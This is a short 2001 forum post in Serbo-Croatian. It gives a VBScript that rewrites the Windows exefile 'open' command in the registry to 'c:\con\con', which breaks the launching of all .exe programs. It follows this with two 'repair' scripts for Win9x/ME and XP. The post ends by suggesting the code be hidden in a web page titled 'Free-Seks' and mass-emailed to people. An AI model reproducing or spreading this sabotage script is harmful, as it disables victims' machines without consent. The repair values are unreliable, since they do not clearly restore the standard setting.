Kako zeznuti eksekuciju EXE-fajlova pod bilokojem Windowsom ;-)

[ Crackintosh @ 02.11.2001. 19:15 ] @

Pogledajte sledece VBS-kodove:

Kod1 - Zeznuti pokretanje EXE-fajlova pod bilokojem Windowsem:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", "c:\con\con"

Sub Welcome()

Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )

If intDoIt = vbCancel Then

WScript.Quit
End If

End Sub
---------------

Popravka za zeznuti Win9x/ME:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", ""

Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub

Popravka za zeznuti Windows XP:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", "%1 %2"

Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub

..................

Tako lako je zeznuti Winblows. Sreca da koristim Macintosh (samo ponekad Windows i ponekad Linuks)

Sada zamisli, da se taj kod ugradi u web-stranicu, i ta stranica se nazove Free-Seks i posalje puno ljudima preko email-a: BOOOOM!